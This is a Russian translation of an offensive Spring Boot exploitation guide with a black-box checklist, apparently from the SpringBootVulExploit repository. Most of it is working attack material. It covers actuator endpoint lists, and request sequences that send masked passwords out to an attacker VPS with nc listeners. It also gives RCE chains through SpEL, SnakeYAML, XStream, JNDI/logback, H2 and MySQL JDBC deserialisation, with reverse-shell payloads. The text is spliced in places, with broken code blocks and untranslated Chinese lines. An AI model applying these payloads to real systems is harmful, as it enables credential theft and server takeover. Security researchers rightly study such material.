
Учебные материалы по уязвимостям SpringBoot, сборник методов и техник эксплуатации, чек-лист черного ящика для оценки безопасности
Сборник материалов по уязвимостям Spring Boot, методы эксплуатации и советы. Чек-лист для черного ящика.
⚠️ Весь контент этого проекта предназначен только для исследований безопасности и авторизованного тестирования. Лица, ответственные за неправильное использование и злоупотребление этим проектом, не несут никакой ответственности.
/manage, /management или имя, связанное с App проекта, как корневой путь Spring./, а в 2.x — единообразно с /actuator./env, иногда также изменяются программистами, например, на /appenv.Spring Cloud — это упорядоченная коллекция фреймворков, построенная на Spring Boot для создания сервисов, предоставляющая такие функции, как управление конфигурацией, обнаружение и регистрация сервисов, интеллектуальная маршрутизация и другие, помогающие быстро разрабатывать распределённые системы.
| Зависимость | Список версий и версии зависимых компонентов |
|---|---|
| spring-boot-starter-parent | spring-boot-starter-parent |
| spring-boot-dependencies |
| Суффикс минорной версии | Значение |
|---|---|
| BUILD-SNAPSHOT | Снапшот-версия, код не фиксирован, находится в разработке |
| MX |
Разработчики не осознают, что утечка адресов может привести к рискам безопасности, или при переходе среды разработки в производственную среду соответствующие лица не изменяют файлы конфигурации, забывают переключить конфигурацию среды и т.д.
Перейдите непосредственно по следующим двум маршрутам, связанным с swagger, чтобы проверить существование уязвимости:``` /v2/api-docs /swagger-ui.html
Некоторые другие возможные маршруты интерфейсов, связанные с swagger, swagger codegen, swagger-dubbo и т.д.:```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
Кроме того, следующие маршруты, связанные с Spring Boot Actuator, иногда также содержат (или предполагают) некоторую информацию об адресах интерфейсов, но не могут получить информацию, связанную с параметрами:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops
**В целом, раскрытие интерфейсов и параметров передачи данных приложения Spring Boot не считается уязвимостью**, но с точки зрения "**безопасности по умолчанию**" не раскрывать эту информацию безопаснее.
Для злоумышленников обычно тщательно анализируются раскрытые интерфейсы, чтобы лучше понять бизнес-логику системы, а также одновременно проверяется наличие других бизнес-уязвимостей, таких как неавторизованный доступ и превышение полномочий.
### 0x02: Маршруты, раскрытые из-за неправильной конфигурации
> В основном это происходит, когда разработчик при разработке не осознаёт, что раскрытие маршрутов может создать риски безопасности, или не следует стандартному процессу разработки, забывая изменить/переключить конфигурацию в производственной среде перед развёртыванием.
Ссылки: [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) и [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). Встроенные маршруты по умолчанию, которые могут быть раскрыты из-за неправильной конфигурации, включают:```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
Среди наиболее важных интерфейсов для поиска уязвимостей:
/env、/actuator/env
GET-запрос к /env напрямую раскрывает переменные окружения, внутренние IP-адреса, имена пользователей в конфигурации и т.д.; когда программисты используют нестандартные имена атрибутов, например, пишут psasword, pwd вместо password, это может привести к утечке пароля в открытом виде.
В то же время с некоторой вероятностью можно через POST-запрос к /env установить некоторые атрибуты, косвенно спровоцировав RCE-уязвимости; также с некоторой вероятностью можно получить открытый текст паролей, ключей и другой важной приватной информации, скрытой звездочками.
/refresh、/actuator/refresh
После установки атрибутов через /env (POST) можно дополнительно отправить POST-запрос к /refresh для обновления переменных атрибутов и вызвать соответствующие RCE-уязвимости.
/restart、
При обращении к интерфейсу
/envSpring Actuator заменяет значения атрибутов, имена которых содержат чувствительные ключевые слова (например, password, secret), на символы*для десенсибилизации.
/jolokia или /actuator/jolokiajolokia-core (требования к версии пока неизвестны)Отправьте GET-запрос к /env или /actuator/env целевого сайта, найдите ключевое слово ******, определите имя атрибута, соответствующее значению, скрытому звездочками.
Замените security.user.password в примере ниже на фактическое имя атрибута, значение которого хотите получить, и отправьте запрос; результат открытого текста содержится в ключе value ответного пакета.
org.springframework.bootФактически вызывается метод
getPropertyэкземпляра классаorg.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar
Spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
org.springframework.cloud.context.environment MbeanНа самом деле это вызов метода getProperty экземпляра класса org.springframework.cloud.context.environment.EnvironmentManager
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。
Конкретная цель и существующие Mbean могут отличаться; можно искать ключевые слова, такие как getProperty, чтобы найти вызываемые методы.
/env/env целевого сайта/env/env/refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)/refresh для обновления конфигурации (при наличии зависимости spring-boot-starter-actuator)spring-cloud-starter-netflix-eureka-client 依赖spring-cloud-starter-netflix-eureka-clientGET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
Отправьте GET-запрос к интерфейсу /env или /actuator/env целевого сайта, найдите ключевое слово ****** и определите имя свойства, значение которого скрыто звездочками.
在自己控制的外网服务器上监听 80 端口:
На внешнем сервере, который вы контролируете, прослушивайте порт 80:```bash nc -lvk 80
##### Шаг 3: Установка свойства eureka.client.serviceUrl.defaultZone
Замените `security.user.password` в `http://value:${security.user.password}@your-vps-ip` на имя атрибута, скрытого звездочками *, которое вы хотите получить;
`your-vps-ip` замените на реальный IP-адрес вашего внешнего сервера.
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
##### Шаг 4: Обновить конфигурацию
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
##### Шаг 5: Декодирование значений атрибутов
При нормальных условиях сервер, прослушиваемый nc, получит запрос от цели, содержащий заголовок `Authorization` примерно следующего содержания:```
Authorization: Basic dmFsdWU6MTIzNDU2
Декодируйте часть dmFsdWU6MTIzNDU2 с помощью base64, и вы получите открытый текст, например value:123456, где 123456 — это открытое значение атрибута до маскировки звёздочкой *.
/env для установки свойства, заставьте цель отправить произвольный HTTP-запрос на указанный адрес во внешней сети.Обратитесь к issue-1, предложенному UUUUnotfound. В процессе отправки внешнего HTTP-запроса целью можно использовать плейсхолдеры в пути URL для извлечения данных.
Отправьте GET-запрос к эндпоинту /env или /actuator/env целевого сайта, найдите ключевое слово ****** и определите имя атрибута, соответствующее скрытому звёздочкой * значению, которое вы хотите получить.
На внешнем сервере, которым вы управляете, прослушивайте порт 80:```bash nc -lvk 80
##### Шаг 3: Инициирование внешнего HTTP-запроса
- Метод `spring.cloud.bootstrap.location` (**также применим** в случаях, когда в открытых данных есть специальные символы URL)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
- `eureka.client.serviceUrl.defaultZone` метод (**не подходит для** случаев, когда в открытых данных есть специальные символы URL)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
##### Шаг 4: Обновление конфигурации
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
### 0x06: Получение открытого текста пароля, скрытого звездочками (Метод 4)
> При обращении к интерфейсу `/env` Spring Actuator заменяет значения свойств, имена которых содержат чувствительные ключевые слова (например, password, secret), на символы `*` для их маскировки.
#### Условия использования:
- Возможность выполнения обычного GET-запроса к конечной точке `/heapdump` или `/actuator/heapdump` на целевой системе
#### Метод использования:
##### Шаг 1: Определите имя свойства, которое хотите получить
Выполните GET-запрос к конечной точке `/env` или `/actuator/env` целевого сайта, найдите ключевое слово `******` и определите имя свойства, значение которого скрыто звездочками.
##### Шаг 2: Загрузите информацию о куче JVM
> Размер загружаемого файла heapdump обычно составляет от 50 до 500 МБ, иногда может превышать 2 ГБ
Выполните GET-запрос к конечной точке `/heapdump` или `/actuator/heapdump` целевой системы, чтобы загрузить актуальную информацию о куче JVM приложения
##### Шаг 3: Используйте MAT для получения открытого текста пароля из кучи JVM
Следуя [статье](https://landgrey.me/blog/16/), используйте запрос **OQL** в инструменте [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php)```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准
比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。
输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
由字符串格式转换成 0x** java 字节形式,方便执行任意代码:```python
result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
Выполните команду `open -a Calculator````java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
org.springframework.util.PropertyPlaceholderHelperparseStringValue${}, будет обработано методом resolvePlaceholder класса org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration как SpEL-выражение, что приводит к RCE-уязвимости. Анализ и воспроизведение уязвимости внедрения SpEL-выражений SpringBoot
repository/springboot-spel-rce
Нормальный доступ:``` http://127.0.0.1:9091/article?id=66
Выполните команду `open -a Calculator`:```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
/env целевого сайта для установки свойств/refresh целевого сайта для обновления конфигурации (при наличии зависимости spring-boot-starter-actuator)spring-cloud-starter целевого проекта < 1.3.0.RELEASEЗапустите простой HTTP-сервер на подконтрольном вам VPS, используя распространённые порты HTTP-сервисов (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Поместите файл с расширением `yml` с именем `example.yml` в корневую директорию сайта, содержимое следующее:```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
Поместите файл с расширением jar с именем example.jar в корневой каталог веб-сайта, содержимое — это код, который нужно выполнить. Способ написания и компиляции кода см. в yaml-payload.
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
[Заметки по изучению Exploit Spring Boot Actuator и Spring Cloud Env](https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/)
repository/springcloud-snakeyaml-rce
Нормальный доступ:``` http://127.0.0.1:9092/env
### 0x03:Xstream-десериализация RCE в Eureka
#### Условия эксплуатации:
- Можно отправлять POST-запросы к конечной точке `/env` целевого сайта для установки свойств
- Можно отправлять POST-запросы к конечной точке `/refresh` целевого сайта для обновления конфигурации (зависимость `spring-boot-starter-actuator`)
- Используемая цель `eureka-client` < 1.8.7 (обычно входит в зависимость `spring-cloud-starter-netflix-eureka-client`)
- Цель может отправлять запросы на HTTP-сервер атакующего (запросы могут выходить во внешнюю сеть)
#### Метод эксплуатации:
##### Шаг 1: Развертывание сайта, отвечающего вредоносным XStream-пейлоадом
Предоставляется [пример Python-скрипта](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py), основанного на Flask и удовлетворяющего требованиям. Его функция — использовать встроенный Python на целевой машине Linux для получения обратной оболочки (reverse shell).
Запустите указанный выше скрипт на своем контролируемом сервере с помощью Python и измените IP-адрес и номер порта для обратной оболочки в соответствии с реальной ситуацией.
##### Шаг 2: Прослушивание порта для обратной оболочки
Обычно используется nc для прослушивания порта в ожидании обратной оболочки.```bash
nc -lvp 443
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
eureka.client.serviceUrl.defaultZone устанавливается на вредоносный внешний URL-адрес eureka-сервера. Spring Boot Actuator: от неавторизованного доступа до получения оболочки
repository/springboot-eureka-xstream-rce
Нормальный доступ:``` http://127.0.0.1:9093/env
### 0x04:jolokia logback JNDI RCE
#### Условия эксплуатации:
- Целевой сайт имеет интерфейс `/jolokia` или `/actuator/jolokia`
- Цель использует зависимость `jolokia-core` (требования к версии пока неизвестны) и в среде существуют соответствующие MBean
- Цель может отправлять запросы на HTTP-сервер атакующего (запросы могут выходить во внешнюю сеть)
- Обычное внедрение JNDI зависит от версии JDK цели, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), но соответствующая среда может быть обойдена
#### Метод эксплуатации:
##### Шаг 1:Просмотр существующих MBeans
Обратитесь к интерфейсу `/jolokia/list` для проверки наличия ключевых слов `ch.qos.logback.classic.jmx.JMXConfigurator` и `reloadByURL`.
##### Шаг 2:Размещение XML-файла
На своем VPS запустите простой HTTP-сервер, желательно используя распространенные порты HTTP-сервисов (80, 443)```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
В корневом каталоге разместите файл example.xml с расширением xml, содержимое которого следующее:```xml
##### Шаг 3: Подготовка Java-кода для выполнения
Напишите оптимизированный [пример Java-кода](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) для обратного шелла `JNDIObject.java`,
скомпилируйте с совместимостью с более старыми версиями JDK:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
Затем скопируйте сгенерированный файл JNDIObject.class в корневую директорию веб-сайта из шага 2.
Скачайте marshalsec и с помощью следующей команды запустите соответствующий ldap-сервис:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
##### Шаг 5: прослушивание порта для обратной оболочки
Обычно используйте nc для прослушивания порта и ожидания обратной оболочки```bash
nc -lv 443
⚠️ Если цель успешно запросила example.xml и marshalsec также получил запрос цели, но цель не запросила JNDIObject.class, скорее всего, версия JDK целевой среды слишком высока, из-за чего эксплуатация JNDI не удалась.
Замените фактический адрес your-vps-ip и перейдите по URL для эксплуатации уязвимости:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
#### Принцип уязвимости:
1. Прямой доступ к URL, который запускает уязвимость, эквивалентен вызову метода `reloadByURL` класса `ch.qos.logback.classic.jmx.JMXConfigurator` через jolokia.
2. Целевая машина запрашивает внешний URL файла конфигурации журнала и получает содержимое вредоносного XML-файла.
3. Целевая машина использует saxParser.parse для разбора XML-файла (здесь возникает уязвимость XXE).
4. В XML-файле с помощью тега `insertFormJNDI` из зависимости `logback` задаётся адрес внешнего JNDI-сервера.
5. Целевая машина обращается к вредоносному JNDI-серверу, что приводит к JNDI-инъекции и RCE-уязвимости.
#### Анализ уязвимости:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
#### Среда уязвимости:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Нормальный доступ:```
http://127.0.0.1:9094/env
/jolokia или /actuator/jolokiajolokia-core (требования к версии пока неизвестны) и в среде присутствуют соответствующие MBean-компонентыОбратиться к интерфейсу /jolokia/list, чтобы проверить наличие ключевых слов type=MBeanFactory и createJNDIRealm.
Написать оптимизированный пример Java-кода для получения обратной оболочки — JNDIObject.java.
На подконтрольном VPS-сервере запустить простой HTTP-сервер, используя по возможности стандартные порты HTTP-сервисов (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Скопируйте скомпилированный файл классов из **шага 2** в корневой каталог HTTP-сервера.
##### Шаг 4: Настройка вредоносного RMI-сервиса
Скачайте [marshalsec](https://github.com/mbechler/marshalsec) и используйте следующую команду для настройки соответствующего RMI-сервиса:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
Обычно используется nc для прослушивания порта в ожидании обратной оболочки```bash nc -lvp 443
##### Шаг 6: Отправка вредоносной полезной нагрузки
В зависимости от реальной ситуации измените целевой адрес, RMI-адрес, порт и другую информацию в скрипте [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py), затем запустите его на контролируемом вами сервере.
#### Принцип уязвимости:
1. Используя Jolokia, вызовите createJNDIRealm для создания JNDIRealm
2. Установите адрес connectionURL как URL службы RMI
3. Установите contextFactory как RegistryContextFactory
4. Остановите Realm
5. Запустите Realm, чтобы вызвать JNDI-инъекцию по указанному RMI-адресу, что приведет к уязвимости RCE
#### Анализ уязвимости:
[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
#### Среда уязвимости:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Нормальный доступ:```
http://127.0.0.1:9094/env
/env целевого сайта для установки свойств./restart целевого сайта для перезапуска приложения.com.h2database.h2 (требования к версии пока неизвестны).⚠️ Метод 'T5' в приведенном ниже payload после каждого выполнения команды необходимо переименовывать (например, в T6), чтобы его можно было создать заново, в противном случае при следующем перезапуске приложения уязвимость не сработает.
spring 1.x (выполнение команды без вывода)``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x (выполнение команды без вывода)```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.hikari.connection-test-query устанавливается в злонамеренный SQL-запрос CREATE ALIAS для создания пользовательской функции.connectionTestQuery пула соединений HikariCP, определяющей SQL-запрос, выполняемый перед установкой нового соединения с базой данных. remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
repository/springboot-h2-database-rce
Нормальный доступ:``` http://127.0.0.1:9096/actuator/env
### 0x07: JNDI RCE в консоли H2 Database
#### Условия эксплуатации:
- Наличие зависимости `com.h2database.h2` (требования к версии пока неизвестны)
- В конфигурации Spring включена консоль H2: `spring.h2.console.enabled=true`
- Цель может отправлять запросы на сервер атакующего (запросы могут выходить во внешнюю сеть)
- JNDI-инъекция зависит от версии JDK: jdk < 6u201/7u191/8u182/11.0.1 (способ LDAP)
#### Метод эксплуатации:
##### Шаг 1: Получить jsessionid через доступ к маршруту
Напрямую перейдите к маршруту по умолчанию `/h2-console`, где включена консоль H2. Цель перенаправит на страницу `/h2-console/login.jsp?jsessionid=xxxxxx`. Запишите фактическое значение `jsessionid=xxxxxx`.
##### Шаг 2: Подготовка Java-кода для выполнения
Напишите оптимизированный [пример кода на Java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) для обратной оболочки (reverse shell) под названием `JNDIObject.java`.
Скомпилируйте с поддержкой более старых версий JDK:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
Затем скопируйте сгенерированный файл JNDIObject.class в корневой каталог сайта из Шага 2.
На управляемом вами VPS-сервере запустите простой HTTP-сервер, используйте порты, наиболее часто встречающиеся для HTTP-сервисов (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Скопируйте скомпилированный файл class из **шага 2** в корневой каталог HTTP-сервера.
##### Шаг 4: Запуск вредоносного LDAP-сервера
Скачайте [marshalsec](https://github.com/mbechler/marshalsec) и с помощью команды ниже запустите соответствующий LDAP-сервер:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
Обычно используется nc для прослушивания порта в ожидании обратной оболочки.```bash nc -lv 443
##### Шаг шестой: отправка пакета для инициирования внедрения JNDI
В соответствии с реальной ситуацией замените в следующих данных `jsessionid=xxxxxx`, `www.example.com` и `ldap://your-vps-ip:1389/JNDIObject````bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
Spring Boot + JNDI-инъекция в БД H2
repository/springboot-h2-database-rce
Нормальный доступ:``` http://127.0.0.1:9096/h2-console
### 0x08: mysql jdbc deserialization RCE
#### Условия эксплуатации:
- Возможность отправлять POST-запрос к эндпоинту `/env` целевого сайта для установки свойств
- Возможность отправлять POST-запрос к эндпоинту `/refresh` для обновления конфигурации (при наличии зависимости `spring-boot-starter-actuator`)
- Наличие зависимости `mysql-connector-java` в целевой среде
- Цель может делать запросы к серверу атакующего (запросы могут выходить во внешнюю сеть)
#### Метод эксплуатации:
##### Шаг 1: Проверка зависимостей окружения
Отправьте GET-запрос к `/env` или `/actuator/env`, найдите ключевое слово `mysql-connector-java` в переменных окружения (classpath) и запишите его номер версии (5.x или 8.x);
Поищите и проверьте, есть ли в переменных окружения распространенные зависимости для гаджетов десериализации, например `commons-collections`, `Jdk7u21`, `Jdk8u20` и т.д.;
Найдите ключевое слово `spring.datasource.url`, запишите его значение `value`, чтобы позже восстановить исходный JDBC URL.
##### Шаг 2: Развертывание вредоносного rogue MySQL сервера
На сервере, который вы контролируете, запустите скрипт [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) и используйте [ysoserial](https://github.com/frohoff/ysoserial) для настройки выполняемой команды:```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
在脚本同目录下生成 payload.ser 反序列化 payload 文件,供脚本使用。
⚠️ Изменение этого свойства временно сделает все обычные службы базы данных сайта недоступными, что повлияет на бизнес-операции. Пожалуйста, действуйте с осторожностью!
Для версии mysql-connector-java 5.x установите значение свойства как:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java версии 8.x устанавливает **значение атрибута** как:```
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Попробуйте получить доступ к известному интерфейсу запросов базы данных сайта, например: /product/list, или найдите другие способы активно инициировать запрос к базе данных исходного сайта, после чего уязвимость сработает.
После завершения эксплуатации уязвимости десериализации используйте метод из шага три, чтобы восстановить исходное значение spring.datasource.url, записанное в шаге один.
spring.datasource.url устанавливается в адрес внешнего вредоносного mysql jdbc url.refresh устанавливается новое значение атрибута spring.datasource.url.mysql-connector-java десериализует настроенный гаджет, что приводит к RCE-уязвимости.New-Exploit-Technique-In-Java-Deserialization-Attack
Необходимо настроить
spring.datasource.url,spring.datasource.username,spring.datasource.passwordвapplication.properties, чтобы гарантировать успешное подключение к базе данных mysql, иначе программа выдаст ошибку при запуске и завершит работу.
repository/springboot-mysql-jdbc-rce
Нормальный доступ:``` http://127.0.0.1:9097/actuator/env
После отправки payload срабатывает уязвимость:```
http://127.0.0.1:9097/product/list
/env целевого сайта для установки свойств/restart целевого сайта для перезапуска приложенияjavax.naming.spi.ObjectFactory, иначе произойдёт аварийное завершение программыНа вашей собственной VPS-машине запустите простой HTTP-сервер, используя по возможности распространённые HTTP-порты (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
В корневом каталоге разместите файл `example.xml`, оканчивающийся на `xml`. Фактическое содержимое должно определяться в соответствии с JNDI-сервисом, используемым на втором шаге.```xml
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
Ссылаясь на статью, модифицируйте JNDIExploit и запустите (также можно использовать другие методы):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
##### Шаг 3: Настройка свойства logging.config
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
##### Шаг 4: Перезапустите приложение
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Принцип уязвимости:
1. Целевая машина через атрибут `logging.config` устанавливает URL-адрес файла конфигурации журнала logback
2. После перезапуска приложения программа запрашивает URL-адрес для получения содержимого вредоносного xml-файла
3. Целевая машина использует `saxParser.parse` для разбора xml-файла (здесь возникает уязвимость XXE)
4. В xml-файле используется тег `insertFormJNDI` из зависимости `logback`, устанавливающий адрес внешнего JNDI-сервера
5. Целевая машина запрашивает вредоносный JNDI-сервер, что приводит к JNDI-инъекции и вызывает уязвимость RCE
#### Анализ уязвимости:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
https://landgrey.me/blog/21/
#### Среда уязвимости:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Нормальный доступ:```
http://127.0.0.1:9098/actuator/env
/env целевого сайта для установки свойств/restart целевого сайта для перезапуска приложенияНа вашей собственной VPS-машине запустите простой HTTP-сервер, используя по возможности стандартные порты HTTP-служб (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Разместите в корневом каталоге файл `example.groovy`, заканчивающийся на `groovy`, с кодом Groovy, который необходимо выполнить, например:```xml
Runtime.getRuntime().exec("open -a Calculator")
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
